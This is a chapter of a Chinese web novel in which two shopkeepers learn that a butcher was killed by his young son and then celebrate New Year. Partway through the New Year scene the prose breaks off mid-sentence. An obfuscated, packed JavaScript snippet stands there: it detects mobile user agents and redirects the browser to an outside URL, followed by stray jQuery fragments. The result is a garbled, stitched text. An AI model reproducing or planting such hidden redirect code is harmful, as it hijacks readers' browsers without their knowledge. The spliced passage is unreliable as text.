翌日，天光初透，温梨与姜早儿便到了长公主府前，只是未得召见，府门也未能进去。


    好在上次来时，结识了两位女侍。


    温梨请门前小厮往里递了话，不多时，便见到了上次收她手串的小侍女，在那侍女的引路下，她们如愿见到了谢司簿。


    谢舞知晓温梨来意后，答应寻个好时机，会给公主再提一提叶屠户这个案子，不论真相如何，定不让巡检司苛待她们。


    得了谢司薄这话，温梨真切道谢，随即和姜早儿匆匆赶回铺子。


    “今日所见之人可都记住了？”出了府门后，温梨问姜早儿。


    姜早儿怔了一下，随即点了点头。


    “东家，谢司薄当真会帮我们？”谢司薄这般的人，打眼一瞧就知地位不低，她们空口白牙，连点吃的都不带，却妄想着让人帮忙，可行么？


    “谢司薄行事稳妥，既应了我们，便不会食言。”温梨道。


    “那我们是不是也该有所表示？”姜早儿觑着温梨的脸色，比了个数钱的手势。


    “送过了。”


    “我怎未曾瞧见？”姜早儿满脸不信，她们值钱的物件除却东家那枚玉佩，也就萧大人送的几件厚衣裳，玉佩定然是没拿，衣裳那么大件，送了她岂会全然不知。


    温梨点了点姜早儿的脑门，浅笑道：“你看那谢司薄可是缺这些小钱之人？”


    姜早儿皱眉道：“可若她缺大钱？我们也没有。”


    “既如此，那便无须思量钱财，另寻他法便是。”温梨夫子般循循善诱道。


    “什么法子？”姜早儿苦思，还有不要钱的求人法子。


    “我卖了她一个人情。”温梨细细说道：“来日她若有所需，便可来寻我兑现。”


    姜早儿琢磨半晌，心里隐约明白，东家这是在教她为人处世的道理，东家从未拿她当寻常伙计。


    东家肯教，她自是欢喜，不过心中也愈发不安，甚至有些心惊肉跳，生怕自己学不好，更怕.......的是，有朝一日东家会离开。


    北留城留不住东家，姜早儿愈发明了。


    姜早儿有些丧气地跟着温梨回到铺子，方进后院，便瞧见角落里蹲着一个小胖子，灰头土脸、头发衣裳满是糟乱，正是小叶子的弟弟，元宝。


    元宝阴沉沉地盯着温梨和姜早儿。


    姜早儿狠狠瞪回去，“没有你娘和小叶子，你光鲜不起来，饭都吃不上，也不想想自己的好日子是谁给的。”


    “哼，没有我，她们算哪门子人，都不知道该伺候谁？”说起娘和小叶子，元宝的嘴脸立时神气起来。


    萧明一个眼神扫过，元宝霎时低眉耷眼起来。


    温梨走至萧明身侧，问道，“是否如我们猜测那般？”


    萧明点点头，随即朝门后走去，温梨跟上，心中明白萧明有话要说。


    疑团是否已被解开？


    “啧，你看，他低着头还冲我翻白眼。”姜早儿大声道，那小子怕萧明，萧明方进屋，立时就不装了，直勾勾地盯着姜早儿。


    姜早儿话音方落，元宝突然蹿起，朝着姜早儿冲过去。


    “哎吆！”姜早儿猝不及防被撞得跌坐在地，元宝笑着在她身上踏一脚，这才往外跑。


    尚未跑出几步，便被闻声而来的萧明，拎小鸡崽般提了回来。


    温梨扶起姜早儿，姜早儿怒道：“天下怎会有如此可恨的小孩!”


    萧明在元宝后颈一捏，随即把晕过去的人放在身侧长椅上。


    萧明把他如何寻到元宝并问话的始末讲了一遍。


    小孩子极易被套话，元宝虽不似寻常小孩，但终归年纪小。


    萧明问话，很少人能扛得住，更别说一个小孩子。


    叶屠户被杀之事并不离奇，先是李氏给叶屠户喝了毒汤，叶屠户被毒晕过去，随后便是小叶子所说之事。


    田天玄打探到，那勒伤轻到肉眼几不可见，并不致命。


    末了，李氏带着小叶子回了后院地窖，前铺无人，恰逢睡在前头的元宝半夜饿醒，没找到使唤的人，十分生气。


    见他爹睡的死猪一般，如何都喊不醒，“装什么死，就是懒，起来干活。”元宝脱口而出，都是他爹平日骂人的话。


    话出口，立即跑开几步，元宝还是有几分怕他爹的！


    过了一会儿，见他爹毫无反应，同他那窝囊的娘一般，任凭如何打骂，都闷不出声。


    元宝大着胆子走到他爹跟前，学着他爹平日的样子，踹了他爹肚子一脚，就如他爹踹他娘一般。


    如此踹了几脚，他爹还是没有反应，胆子便愈发大了，把平日看到学到的，都在他爹身上招呼了一遍........


    铺子里那柄剔肉的薄刃，不知何时断成数片，零散搁在床头，不知轻重的元宝随手抓起一片，竟就捅进了他爹的喉咙。


    姜早儿后知后觉地“啊”了一声，不自觉地捂紧自己的脖子。


    温梨静了好一会道，“既如此，给田天玄传个话，麻烦他把元宝送到巡检司去”。


    巡检司那边有，上有长公主，下有田天玄，不怕李集耍什么花招，她最好再见谢司薄一面，把案子真相说与她听，温梨暗自思忖。


    温梨又交待几句，心间愈发闷了，便独自回了寝间。


    温梨倚着窗棂，望着墙角挂满霜雪的孤竹，想着来年春到，冒出几个新笋，新笋成竹，又是一片葱郁。


    不知不觉间，已在北留城待了一年有余。


    年关将至，铺子歇业。


    好在“四季酒”卖得尚好，官宦富户年节宴席频繁，甜酒适合女眷饮用，因而十分畅销。


    温梨让姜早儿核了帐，居然有几十两银子入账。


    给萧明结了工钱，买了两个熏笼和上好的木炭，还每人做了件新衣裳。


    是一个暖和年。


    小叶子被放了出来，不过李氏被判了三年。


    至于元宝，还羁押在巡检司。


    依《大巍律》十岁以下儿童犯杀人应死者，须上奏，由皇帝裁决。


    依照前例，若是无心之失致人死亡，因着年纪尚小，大多数会被宽宥，不过元宝伤害的是至亲，实属恶劣，死罪可免，活罪难逃。


    北留城的罪人营大抵会是他最后的归宿。


    除夕夜，一室暖融。


    小叶子抱着新做的棉衣哭得抬不起头，这是她的第一件新衣，又软又暖。


    姜早儿抱着她说：“不哭不哭，有东家在，日后会更好的。”


    温梨饮了些酒，听着姜早儿的话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156701|194332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，浑不在意地笑起来，漾开一片澄澈的笑意，倒显出几分不谙世事的天真模样来。


    瞧着，着实不是个可靠的模样。


    不过在姜早儿心中，只要东家在，便是天塌了，也算不得是大事。


    小叶子极快地用手背抹了抹眼泪，扯出一个笑，抿了抿唇道：“温姐姐、姜姐姐，我会做饭、洗衣服、收拾屋子、也会缝衣服、就是花.........绣的不好.......我会学，我什么都能干。”


    说完满眼祈求地看着二人，她想留下，若不能留下的话，于她而言，和死也差不多......


    温梨嘴角噙笑，指了指姜早儿，“我当初如何与你说的，你便如何对小叶子说？”


    一念至此，姜早儿眼前便浮现初见温梨那日的景象。


    那时，为了不给王老爷当妾，她嘴上应允，夜里趁着无人，偷跑了出去。


    她早些日子听人说，京城店铺林立、民风纯良，很多铺子招女子做工，有了生计，还可开女户，自己也能活。


    她还听闻，京城南家每年举行“饮子大比”，拔得头筹者，可在南家铺子干活，还能获赠一处京城的宅院。


    她要去京城。


    可京城太远了！


    她一个女子，在王家时是有主的“家雀”，出了王家，便成了人人皆可猎取的“野雀”。


    出了王家，她才知天下那么大，山高水长，天下又是那么小，竟无一个小小女子的立锥之地。


    自从上路，她一个好觉不曾睡。


    身上的些许银钱，住店的话，定然到不了京城，况且独身女子住店，不怀好意的客人和店家都不错眼地看着，稍有不慎，便是万劫不复。


    树下、桥下、破庙这些穷人栖身之地，她也不敢待。


    日夜不得安眠，又饥肠辘辘，着实难熬，就在姜早儿想着死了算了，在河边徘徊之际，偶遇了温梨。


    温梨那时也是一个人，亦很落魄，眉眼却是清澈明亮，唇边勾着浅浅的笑意，不像姜早儿一副心如死灰的乞丐样。


    一句话未说，只一眼，姜早儿便想大哭一场。


    后来，她当真抱着温梨大哭了一场，似是要哭尽这一路所受的苦楚和委屈。


    温梨由她哭完，听她絮絮叨叨讲了一路的遭遇，末了，眼中如见珍宝般一亮，“你竟这般厉害，果敢坚毅，胜过许多儿郎。”


    姜早儿呆愣半天，又大声哭起来。


    一路行来，遇到的也并非全是坏人，也有好心之人分她吃食，亦或是护她片刻，不过无一例外，都在劝她回去，说她不该一个人出门，实在是太傻了。


    温梨告诉她，不必非要去那京城，她有手艺，大可自己当东家，在北留城，一样过得好。


    姜早儿起初是不信的，可温梨说得那般笃定如若，把开店说得如同饮水吃饭一般轻巧。


    回过神后，姜早儿瞧着温梨这个东家不甚靠谱，可她还是愿信她。


    姜早儿端端正正跪在温梨面前，说愿意当她的丫鬟，伺候她，若是日后温梨开铺子，她会做香饮，只求有口饭吃，有地可睡，能活便行。


    温梨却道：“你吃了那么多苦要去京城，是要给人为奴为婢么，我也不要丫鬟，我要寻的是同路之人，你可愿与我同行？”